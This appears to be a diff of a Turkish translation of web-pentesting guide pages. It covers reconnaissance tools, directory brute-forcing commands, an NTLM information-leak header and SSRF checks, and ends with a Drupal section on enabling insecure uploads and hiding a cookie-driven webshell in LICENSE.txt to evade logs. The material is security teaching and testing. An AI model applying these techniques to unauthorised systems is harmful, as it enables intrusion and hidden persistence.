### Kaynak Kodu İncelemesi
Eğer uygulamanın **kaynak kodu** **github**'da mevcutsa, uygulamanın **kendi başınıza bir Beyaz kutu testi** yapmanın yanı sıra, mevcut **Siyah Kutu testi** için **bazı bilgiler** **yararlı** olabilir:
-* **Değişiklik günlüğü veya Readme veya Versiyon** dosyası veya web üzerinden erişilebilen **versiyon bilgisi** içeren herhangi bir şey var mı?
+* **Değişiklik günlüğü veya Readme veya Sürüm** dosyası veya web üzerinden erişilebilen **sürüm bilgisi** içeren herhangi bir şey var mı?
* **Kimlik bilgileri** nasıl ve nerede saklanıyor? **Kimlik bilgileri** (kullanıcı adları veya şifreler) ile ilgili herhangi bir (erişilebilir?) **dosya** var mı?
* **Şifreler** **düz metin**, **şifrelenmiş** mi yoksa hangi **hash algoritması** kullanılıyor?
* Bir şeyi şifrelemek için herhangi bir **anahtar** kullanıyor mu? Hangi **algoritma** kullanılıyor?
-* Herhangi bir zayıflığı sömürerek **bu dosyalara erişebilir misiniz**?
-* **Github'da** (çözülen ve çözülmeyen) **sorularda** herhangi bir **ilginç bilgi** var mı? Veya **commit geçmişinde** (belki eski bir commit içinde bazı **şifreler** tanıtılmıştır)?
+* Herhangi bir açığı sömürerek **bu dosyalara erişebilir misiniz**?
+* **Github'da** (çözülen ve çözülmeyen) **sorularda** herhangi bir **ilginç bilgi** var mı? Veya **commit geçmişinde** (belki eski bir commit içinde bazı **şifreler** girişi)?
{% content-ref url="code-review-tools.md" %}
[code-review-tools.md](code-review-tools.md)
@@ -166,11 +166,11 @@ joomlavs.rb #https://github.com/rastating/joomlavs
```
> Bu noktada, istemci tarafından kullanılan web sunucusu hakkında bazı bilgilere sahip olmalısınız (eğer herhangi bir veri verilmişse) ve test sırasında aklınızda bulundurmanız gereken bazı ipuçları. Şanslıysanız, bir CMS bulmuş ve bazı tarayıcılar çalıştırmış olabilirsiniz.
-## Adım Adım Web Uygulaması Keşfi
+## Adım adım Web Uygulaması Keşfi
> Bu noktadan itibaren web uygulamasıyla etkileşime geçmeye başlayacağız.
-### İlk Kontroller
+### İlk kontroller
**İlginç bilgiler içeren varsayılan sayfalar:**
@@ -181,7 +181,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs
* /.well-known/
* Ana ve ikincil sayfalardaki yorumları da kontrol edin.
-**Hataları Zorlamak**
+**Hataları zorlamak**
Web sunucuları, onlara garip veriler gönderildiğinde **beklenmedik şekilde davranabilir**. Bu, **açıklara** veya **hassas bilgilerin ifşasına** yol açabilir.
@@ -192,17 +192,17 @@ Web sunucuları, onlara garip veriler gönderildiğinde **beklenmedik şekilde d
#### **Dosya yükleyip yükleyemeyeceğinizi kontrol edin (**[**PUT fiili, WebDav**](put-method-webdav.md)**)**
-Eğer **WebDav** **etkinse** ama kök klasörde **dosya yüklemek için yeterli izinleriniz yoksa**, şunları deneyin:
+Eğer **WebDav** **etkinse** ancak kök klasörde **dosya yüklemek için** yeterli izinleriniz yoksa şunları deneyin:
-* **Kullanıcı adı ve şifreleri** **Kaba Kuvvet** ile denemek
+* **Kaba kuvvet** ile kimlik bilgilerini denemek
* WebDav aracılığıyla web sayfasındaki **bulunan diğer klasörlere** **dosya yüklemek**. Diğer klasörlerde dosya yüklemek için izinleriniz olabilir.
### **SSL/TLS açıklıkları**
-* Uygulama, herhangi bir yerde HTTPS kullanıcısını **zorlamıyorsa**, o zaman **MitM'ye karşı savunmasızdır**
+* Uygulama, herhangi bir yerde HTTPS kullanıcısını **zorlamıyorsa**, o zaman **MitM'ye** karşı **açık** demektir.
* Uygulama, **hassas verileri (şifreler) HTTP kullanarak gönderiyorsa**. O zaman bu yüksek bir açıklıktır.
-**Açıkları** kontrol etmek için [**testssl.sh**](https://github.com/drwetter/testssl.sh) kullanın (Bug Bounty programlarında muhtemelen bu tür açıklıklar kabul edilmeyecektir) ve açıklıkları yeniden kontrol etmek için [**a2sv**](https://github.com/hahwul/a2sv) kullanın:
+**Açıkları kontrol etmek için** [**testssl.sh**](https://github.com/drwetter/testssl.sh) kullanın (Bug Bounty programlarında muhtemelen bu tür açıklıklar kabul edilmeyecektir) ve açıklıkları yeniden kontrol etmek için [**a2sv**](https://github.com/hahwul/a2sv) kullanın:
```bash
./testssl.sh [--htmlfile] 10.10.10.10:443
#Use the --htmlfile to save the output inside an htmlfile also
@@ -216,41 +216,41 @@ Bilgi SSL/TLS zafiyetleri hakkında:
* [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/)
* [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/)
-### Spidering
+### Tarama
-Web üzerinde bir tür **spider** başlatın. Spider'ın amacı, test edilen uygulamadan **mümkün olduğunca fazla yol bulmaktır**. Bu nedenle, web taraması ve harici kaynaklar kullanılarak mümkün olduğunca fazla geçerli yol bulunmalıdır.
+Web üzerinde bir tür **tarayıcı** başlatın. Tarayıcının amacı, test edilen uygulamadan **mümkün olduğunca fazla yol bulmaktır**. Bu nedenle, web taraması ve harici kaynaklar kullanılarak mümkün olduğunca fazla geçerli yol bulunmalıdır.
-* [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, JS dosyalarındaki LinkFinder ve harici kaynaklar (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
-* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, JS dosyaları için LinkFinder ve harici kaynak olarak Archive.org ile.
-* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, ayrıca "juicy files" gösterir.
-* [**evine** ](https://github.com/saeeddhqan/evine)(go): Etkileşimli CLI HTML spider. Ayrıca Archive.org'da arama yapar.
-* [**meg**](https://github.com/tomnomnom/meg) (go): Bu araç bir spider değildir ama faydalı olabilir. Sadece bir dosya ile hostları ve bir dosya ile yolları belirtebilir ve meg her hosttaki her yolu alır ve yanıtı kaydeder.
-* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS renderleme yeteneklerine sahip HTML spider. Ancak, bakımsız görünüyor, önceden derlenmiş versiyonu eski ve mevcut kod derlenmiyor.
-* [**gau**](https://github.com/lc/gau) (go): Harici sağlayıcılar (wayback, otx, commoncrawl) kullanan HTML spider.
-* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Bu script, parametre içeren URL'leri bulacak ve listeleyecektir.
-* [**galer**](https://github.com/dwisiswant0/galer) (go): JS renderleme yeteneklerine sahip HTML spider.
-* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, JS dosyalarında yeni yollar arayabilen JS beautify yetenekleri ile. [JSScanner](https://github.com/dark-warlord14/JSScanner) adlı LinkFinder'ın bir sarmalayıcısına da göz atmak faydalı olabilir.
-* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Hem HTML kaynağında hem de gömülü javascript dosyalarında uç noktaları çıkarmak için. Hata avcıları, kırmızı takım üyeleri, infosec ninja'ları için faydalı.
-* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): JavaScript dosyalarından göreli URL'leri ayrıştırmak için Tornado ve JSBeautifier kullanan bir python 2.7 scripti. AJAX isteklerini kolayca keşfetmek için faydalı. Bakımsız görünüyor.
+* [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML tarayıcı, JS dosyalarındaki LinkFinder ve harici kaynaklar (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
+* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML tarayıcı, JS dosyaları için LinkFinder ve harici kaynak olarak Archive.org ile.
+* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML tarayıcı, ayrıca "lezzetli dosyaları" gösterir.
+* [**evine** ](https://github.com/saeeddhqan/evine)(go): Etkileşimli CLI HTML tarayıcı. Ayrıca Archive.org'da arama yapar.
+* [**meg**](https://github.com/tomnomnom/meg) (go): Bu araç bir tarayıcı değildir ama faydalı olabilir. Sadece bir dosya ile ana bilgisayarları ve bir dosya ile yolları belirtebilirsiniz ve meg her ana bilgisayardaki her yolu alır ve yanıtı kaydeder.
+* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS işleme yeteneklerine sahip HTML tarayıcı. Ancak, bakımsız görünüyor, önceden derlenmiş versiyonu eski ve mevcut kod derlenmiyor.
+* [**gau**](https://github.com/lc/gau) (go): Harici sağlayıcılar (wayback, otx, commoncrawl) kullanan HTML tarayıcı.
+* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Bu betik, parametre içeren URL'leri bulacak ve listeleyecektir.
+* [**galer**](https://github.com/dwisiswant0/galer) (go): JS işleme yeteneklerine sahip HTML tarayıcı.
+* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML tarayıcı, JS dosyalarında yeni yollar arayabilen JS güzelleştirme yetenekleri ile. [JSScanner](https://github.com/dark-warlord14/JSScanner) adlı LinkFinder'ın bir sarmalayıcısına da göz atmak faydalı olabilir.
+* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Hem HTML kaynağında hem de gömülü javascript dosyalarında uç noktaları çıkarmak için. Hata avcıları, kırmızı takım üyeleri, bilgi güvenliği ninja'ları için faydalıdır.
+* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): JavaScript dosyalarından göreli URL'leri ayrıştırmak için Tornado ve JSBeautifier kullanan bir python 2.7 betiği. AJAX isteklerini kolayca keşfetmek için faydalıdır. Bakımsız görünüyor.
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Verilen bir dosyadan (HTML) URL'leri çıkaracak ve çirkin (minify) dosyalardan göreli URL'leri bulmak ve çıkarmak için şık bir düzenli ifade kullanacaktır.
* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, çeşitli araçlar): JS dosyalarından ilginç bilgiler toplamak için çeşitli araçlar kullanır.
* [**subjs**](https://github.com/lc/subjs) (go): JS dosyalarını bulur.
* [**page-fetch**](https://github.com/detectify/page-fetch) (go): Başsız bir tarayıcıda bir sayfayı yükler ve sayfayı yüklemek için yüklenen tüm URL'leri yazdırır.
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Önceki araçların çeşitli seçeneklerini birleştiren içerik keşif aracı.
* [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JS dosyalarında yol ve parametre bulmak için bir Burp uzantısı.
-* [**Sourcemapper**](https://github.com/denandz/sourcemapper): Verilen .js.map URL'si ile size güzelleştirilmiş JS kodunu alacak bir araç.
-* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Belirli bir hedef için uç noktaları keşfetmek için kullanılan bir araç.
-* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Wayback makinesinden bağlantıları keşfedin (aynı zamanda yanıtları indirin ve daha fazla bağlantı arayın).
-* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Form doldurarak bile tarama yapın ve belirli regex'ler kullanarak hassas bilgileri bulun.
-* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite, siber güvenlik profesyonelleri için tasarlanmış gelişmiş çok özellikli GUI web güvenlik Tarayıcısı/Spider'dır.
+* [**Sourcemapper**](https://github.com/denandz/sourcemapper): Verilen .js.map URL'si ile güzelleştirilmiş JS kodunu alacak bir araç.
+* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Belirli bir hedef için uç noktaları keşfetmek için kullanılan bir araçtır.
+* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Wayback makinesinden bağlantıları keşfedin (aynı zamanda yanıtları indirip daha fazla bağlantı arayın).
+* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Form doldurarak tarama yapın ve belirli regex'ler kullanarak hassas bilgileri bulun.
+* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite, siber güvenlik profesyonelleri için tasarlanmış gelişmiş çok özellikli GUI web güvenlik Tarayıcı/Tarayıcıdır.
* [**jsluice**](https://github.com/BishopFox/jsluice) (go): URL'leri, yolları, sırları ve JavaScript kaynak kodundan diğer ilginç verileri çıkarmak için bir Go paketi ve [komut satırı aracı](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice).
* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge, **fuzzing** ve **enumeration** için özel kelime listesi oluşturmak amacıyla istekteki parametreleri ve uç noktaları **çıkarmak** için basit bir **Burp Suite uzantısıdır**.
* [**katana**](https://github.com/projectdiscovery/katana) (go): Bunun için harika bir araç.
* [**Crawley**](https://github.com/s0rg/crawley) (go): Bulabildiği her bağlantıyı yazdırır.
-### Brute Force dizinleri ve dosyaları
+### Kaba kuvvet dizinleri ve dosyaları
-Kök klasörden **brute-forcing**'e başlayın ve **bu yöntemle bulunan** **tüm dizinleri** ve **Spidering** ile **keşfedilen** dizinleri brute-force yapmayı unutmayın (bu brute-forcing'i **özyinelemeli** olarak yapabilir ve kullanılan kelime listesinin başına bulunan dizinlerin adlarını ekleyebilirsiniz).\
+Kök klasörden **kaba kuvvet** işlemine başlayın ve **bu yöntemle bulunan** **tüm dizinleri** ve **Tarama** ile **keşfedilen** dizinleri kaba kuvvetle zorlayın (bu kaba kuvvet işlemini **özyinelemeli** olarak yapabilir ve kullanılan kelime listesinin başına bulunan dizinlerin adlarını ekleyebilirsiniz).\
Araçlar:
* **Dirb** / **Dirbuster** - Kali'de dahil, **eski** (ve **yavaş**) ama işlevsel. Otomatik imzalı sertifikalara ve özyinelemeli aramaya izin verir. Diğer seçeneklerle karşılaştırıldığında çok yavaş.
@@ -259,9 +259,9 @@ Araçlar:
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Hızlı, özyinelemeli aramayı destekler.**
* [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
* [**ffuf** ](https://github.com/ffuf/ffuf)- Hızlı: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
-* [**uro**](https://github.com/s0md3v/uro) (python): Bu bir spider değildir ama bulunan URL'lerin listesini vererek "tekrarlanan" URL'leri siler.
+* [**uro**](https://github.com/s0md3v/uro) (python): Bu bir tarayıcı değildir ama bulunan URL'lerin listesini vererek "tekrarlanan" URL'leri siler.
* [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Farklı sayfaların burp geçmişinden dizinlerin bir listesini oluşturmak için Burp Uzantısı.
-* [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Tekrarlanan işlevselliğe sahip URL'leri kaldırır (js importlarına dayalı).
+* [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Tekrarlanan işlevselliğe sahip URL'leri kaldırır (js içe aktarımlarına dayanarak).
* [**Chamaleon**](https://github.com/iustin24/chameleon): Kullanılan teknolojileri tespit etmek için wapalyzer kullanır ve kullanılacak kelime listelerini seçer.
**Tavsiye edilen sözlükler:**
@@ -283,41 +283,41 @@ Araçlar:
* _/usr/share/wordlists/dirb/big.txt_
* _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
-_Bruteforcing veya spidering sırasında yeni bir dizin keşfedildiğinde, bu dizin de Brute-Forced edilmelidir._
+_Not edin ki, kaba kuvvetleme veya tarama sırasında yeni bir dizin keşfedildiğinde, bu dizin de Kaba Kuvvet ile zorlanmalıdır._
### Bulunan her dosyada kontrol edilecekler
-* [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Ele geçirilme riski taşıyan HTML'ler içindeki bozuk bağlantıları bulun.
-* **Dosya Yedekleri**: Tüm dosyaları bulduktan sonra, tüm yürütülebilir dosyaların yedeklerini arayın ("_.php_", "_.aspx_"...). Yedekleme için yaygın adlandırma varyasyonları: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp ve file.old._ Ayrıca [**bfac**](https://github.com/mazen160/bfac) **veya** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)** aracını kullanabilirsiniz.**
+* [**Kırık bağlantı kontrolörü**](https://github.com/stevenvachon/broken-link-checker): Ele geçirilme riski taşıyan HTML'ler içindeki kırık bağlantıları bulun.
+* **Dosya Yedekleri**: Tüm dosyaları bulduktan sonra, tüm yürütülebilir dosyaların yedeklerini arayın ("_.php_", "_.aspx_"...). Yedekleme için yaygın adlandırma varyasyonları şunlardır: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp ve file.old._ Ayrıca [**bfac**](https://github.com/mazen160/bfac) **veya** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)** aracını kullanabilirsiniz.**
* **Yeni parametreler keşfedin**: Gizli parametreleri keşfetmek için [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **ve** [**Param Miner**](https://github.com/PortSwigger/param-miner) **gibi araçları kullanabilirsiniz. Mümkünse, her yürütülebilir web dosyasında gizli parametreleri aramayı deneyebilirsiniz.**
* _Arjun tüm varsayılan kelime listeleri:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
* _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
* _Assetnote “parameters\_top\_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
* _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
* **Yorumlar:** Tüm dosyaların yorumlarını kontrol edin, **kimlik bilgileri** veya **gizli işlevsellik** bulabilirsiniz.
-* Eğer **CTF** oynuyorsanız, "yaygın" bir hile, **bilgiyi** sayfanın **sağında** (tarayıcı ile kaynak kodunu açtığınızda veriyi göremeyecek şekilde **yüzlerce** **boşluk** kullanarak) **gizlemektir**. Diğer bir olasılık, **birkaç yeni satır** kullanmak ve bilgiyi web sayfasının **altında** bir yorumda **gizlemektir**.
+* Eğer **CTF** oynuyorsanız, "yaygın" bir hile, **bilgiyi** sayfanın **sağında** (tarayıcı ile kaynak kodunu açtığınızda veriyi göremeyecek şekilde **yüzlerce** **boşluk** kullanarak) **gizlemektir**. Diğer bir olasılık, **birkaç yeni satır** kullanmak ve **bilgiyi** web sayfasının **altında** bir yorumda **gizlemektir**.
* **API anahtarları**: Eğer **herhangi bir API anahtarı** bulursanız, farklı platformların API anahtarlarını nasıl kullanacağınızı gösteren bir kılavuz vardır: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
* Google API anahtarları: Eğer **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik gibi görünen bir API anahtarı bulursanız, anahtarın erişebileceği API'leri kontrol etmek için [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) projesini kullanabilirsiniz.
-* **S3 Buckets**: Spidering yaparken herhangi bir **alt alan adı** veya herhangi bir **bağlantının** bazı **S3 bucket** ile ilişkili olup olmadığını kontrol edin. Bu durumda, [**bucket'ın** **izinlerini** kontrol edin](buckets/).
+* **S3 Buckets**: Tarama sırasında herhangi bir **alt alan adı** veya herhangi bir **bağlantının** bazı **S3 bucket** ile ilişkili olup olmadığını kontrol edin. Bu durumda, [**bucket'ın** **izinlerini kontrol edin](buckets/).**
### Özel bulgular
-**Spidering** ve **brute-forcing** yaparken, **dikkat etmeniz gereken** **ilginç** **şeyler** bulabilirsiniz.
+**Tarama** ve **kaba kuvvet** işlemleri sırasında **ilginç** **şeyler** bulabilirsiniz ki bunları **not etmelisiniz**.
**İlginç dosyalar**
* **CSS** dosyaları içinde diğer dosyalara **bağlantılar** arayın.
-* [Eğer bir _**.git**_ dosyası bulursanız, bazı bilgiler çıkarılabilir](git.md)
-* Eğer bir _**.env**_ bulursanız, API anahtarları, veritabanı şifreleri ve diğer bilgiler bulunabilir.
-* Eğer **API uç noktaları** bulursanız, [bunları da test etmelisiniz](web-api-pentesting.md). Bunlar dosya değildir, ama muhtemelen "dosya gibi" görüneceklerdir.
-* **JS dosyaları**: Spidering bölümünde, JS dosyalarından yol çıkarabilen birkaç araçtan bahsedilmiştir. Ayrıca, bulunan her JS dosyasını **izlemek** de ilginç olacaktır, çünkü bazı durumlarda bir değişiklik, kodda potansiyel bir zafiyetin tanıtıldığını gösterebilir. Örneğin [**JSMon**](https://github.com/robre/jsmon)**'u** kullanabilirsiniz.
-* Ayrıca keşfedilen JS dosyalarını [**RetireJS**](https://github.com/retirejs/retire.js/) veya [**JSHole**](https://github.com/callforpapers-source/jshole) ile kontrol etmelisiniz.
+* [Bir _**.git**_ dosyası bulursanız bazı bilgiler çıkarılabilir](git.md)
+* Bir _**.env**_ dosyası bulursanız, API anahtarları, veritabanı şifreleri ve diğer bilgiler bulunabilir.
+* **API uç noktaları** bulursanız, [bunları da test etmelisiniz](web-api-pentesting.md). Bunlar dosya değildir, ancak muhtemelen "dosya gibi" görüneceklerdir.
+* **JS dosyaları**: Tarama bölümünde, JS dosyalarından yol çıkarabilen birkaç araçtan bahsedilmiştir. Ayrıca, bulunan her JS dosyasını **izlemek** de ilginç olacaktır, çünkü bazı durumlarda bir değişiklik, kodda potansiyel bir zafiyetin tanıtıldığını gösterebilir. Örneğin [**JSMon**](https://github.com/robre/jsmon)** kullanabilirsiniz.**
+* Bulunan JS dosyalarını [**RetireJS**](https://github.com/retirejs/retire.js/) veya [**JSHole**](https://github.com/callforpapers-source/jshole) ile kontrol ederek zayıf olup olmadığını bulmalısınız.
* **Javascript Deobfuscator ve Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
* **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
-* **JsFuck deobfuscation** (karakterlerle javascript: "\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/))
+* **JsFuck deşifreleme** (karakterlerle javascript: "\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/))
* [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
-* Birçok durumda, kullanılan düzenli ifadeleri **anlamanız** gerekecek, bu faydalı olacaktır: [https://regex101.com/](https://regex101.com)
-* Ayrıca, **formların tespit edildiği dosyaları** da **izlemelisiniz**, çünkü bir parametredeki değişiklik veya yeni bir formun görünmesi, potansiyel yeni bir zayıf işlevselliği gösterebilir.
+* Birçok durumda, kullanılan düzenli ifadeleri **anlamak** gerekecektir, bu faydalı olacaktır: [https://regex101.com/](https://regex101.com)
+* Ayrıca, **formların tespit edildiği dosyaları** izlemelisiniz, çünkü bir parametredeki değişiklik veya yeni bir formun görünmesi, potansiyel yeni bir zayıf işlevselliği gösterebilir.
**403 Yasaklı/Temel Kimlik Doğrulama/401 Yetkisiz (bypass)**
@@ -327,21 +327,21 @@ _Bruteforcing veya spidering sırasında yeni bir dizin keşfedildiğinde, bu di
**502 Proxy Hatası**
-Eğer herhangi bir sayfa bu **kodla** **yanıt verirse**, muhtemelen **kötü yapılandırılmış bir proxy** vardır. **`GET https://google.com HTTP/1.1`** gibi bir HTTP isteği gönderirseniz (host başlığı ve diğer yaygın başlıklarla), **proxy** _**google.com**_ **erişmeye çalışacak** ve bir** SSRF** bulmuş olacaksınız.
+Eğer herhangi bir sayfa bu **kodla** **yanıt veriyorsa**, muhtemelen **kötü yapılandırılmış bir proxy** vardır. **`GET https://google.com HTTP/1.1`** gibi bir HTTP isteği gönderirseniz (host başlığı ve diğer yaygın başlıklarla), **proxy** _**google.com**_ **erişmeye çalışacak ve bir** SSRF bulmuş olacaksınız.
**NTLM Kimlik Doğrulama - Bilgi ifşası**
-Eğer kimlik doğrulama isteyen sunucu **Windows** ise veya **kimlik bilgilerinizi** isteyen bir giriş bulursanız (ve **alan adı** **adını** soruyorsa), bir **bilgi ifşası** provake edebilirsiniz.\
+Eğer çalışan sunucu kimlik doğrulama istiyorsa **Windows** ise veya **kimlik bilgilerinizi** isteyen bir giriş bulursanız (ve **alan adı** istiyorsa), bir **bilgi ifşası** tetikleyebilirsiniz.\
**Başlığı gönderin**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` ve **NTLM kimlik doğrulamanın** nasıl çalıştığı nedeniyle, sunucu "WWW-Authenticate" başlığında iç bilgi (IIS versiyonu, Windows versiyonu...) ile yanıt verecektir.\
Bunu **nmap eklentisi** "_http-ntlm-info.nse_" kullanarak **otomatikleştirebilirsiniz**.
**HTTP Yönlendirme (CTF)**
-Bir **Yönlendirme** içinde **içerik** **yerleştirmek** mümkündür. Bu içerik **kullanıcıya gösterilmeyecek** (çünkü tarayıcı yönlendirmeyi gerçekleştirecektir) ama orada **gizli** bir şey olabilir.
+Bir **Yönlendirme** içinde **içerik** **yerleştirmek** mümkündür. Bu içerik **kullanıcıya gösterilmeyecek** (çünkü tarayıcı yönlendirmeyi gerçekleştirecektir) ama burada **gizli** bir şey olabilir.
-### Web Zafiyetleri Kontrolü
+### Web Zafiyetlerini Kontrol Etme
-Artık web uygulamasının kapsamlı bir envanteri yapıldı, birçok olası zafiyeti kontrol etme zamanı. Kontrol listesini burada bulabilirsiniz:
+Artık web uygulamasının kapsamlı bir numaralandırması yapıldığında, birçok olası zafiyeti kontrol etme zamanı. Kontrol listesini burada bulabilirsiniz:
{% content-ref url="../../pentesting-web/web-vulnerabilities-methodology.md" %}
[web-vulnerabilities-methodology.md](../../pentesting-web/web-vulnerabilities-methodology.md)
@@ -353,11 +353,11 @@ Web zafiyetleri hakkında daha fazla bilgi için:
* [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html)
* [https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection](https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection)
-### Sayfaları değişiklikler için izleme
+### Sayfaları Değişiklikler için İzleme
-Vulnerabiliteleri ekleyebilecek değişiklikler için sayfaları izlemek üzere [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) gibi araçları kullanabilirsiniz.
+Değişiklikleri izlemek için [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) gibi araçlar kullanabilirsiniz.
-
+
Eğer **hack kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
@@ -442,7 +442,7 @@ GCP Hacking'i öğrenin ve pratik yapın:
+## Drupal'ı Konfigürasyon senkronizasyonu ile Arka Kapı Açma
**Paylaşan:** [**Coiffeur0x90**](https://twitter.com/Coiffeur0x90)
@@ -97,20 +97,20 @@ Aktivasyondan önce:
Aktivasyondan sonra:
-
+
### Bölüm 2 (_Configuration synchronization_ özelliğinden yararlanma)
-Drupal konfigürasyon girişlerini dökme (içeri aktarma) ve yükleme (dışarı aktarma) için _Configuration synchronization_ özelliğinden yararlanacağız:
+Drupal konfigürasyon girişlerini döküm (ihracat) ve yükleme (ithalat) için _Configuration synchronization_ özelliğinden yararlanacağız:
* /admin/config/development/configuration/single/export
* /admin/config/development/configuration/single/import
**Patch system.file.yml**
-İlk giriş `allow_insecure_uploads`'ı yamanlayarak başlayalım:
+İlk giriş olan `allow_insecure_uploads`'ı yamanlayarak başlayalım:
Dosya: system.file.yml
```
@@ -138,9 +138,9 @@ allow_insecure_uploads: true
```
-**Yamanla field.field.media.document.field\_media\_document.yml**
+**Patch field.field.media.document.field\_media\_document.yml**
-Ardından, ikinci girişi `file_extensions` olarak yamalayın:
+Sonra, ikinci girişi `file_extensions`'dan yamanız gerekiyor:
Dosya: field.field.media.document.field\_media\_document.yml
```
@@ -196,9 +196,9 @@ Neden bu hile havalı?
Çünkü Webshell (biz buna LICENSE.txt diyeceğiz) Web sunucusuna yüklendikten sonra, komutlarımızı `$_COOKIE` aracılığıyla iletebiliriz ve bu, Web sunucu günlüklerinde, bir metin dosyasına yapılan meşru bir GET isteği olarak görünecektir.
-Neden Webshell'imize LICENSE.txt adını veriyoruz?
+Webshell'imize neden LICENSE.txt adını veriyoruz?
-Basitçe, örneğin [core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt) dosyasını alırsak (ki bu dosya zaten Drupal çekirdeğinde mevcut), 339 satır ve 17.6 KB boyutunda bir dosyamız var, bu da ortasına küçük bir PHP kodu eklemek için mükemmel (çünkü dosya yeterince büyük).
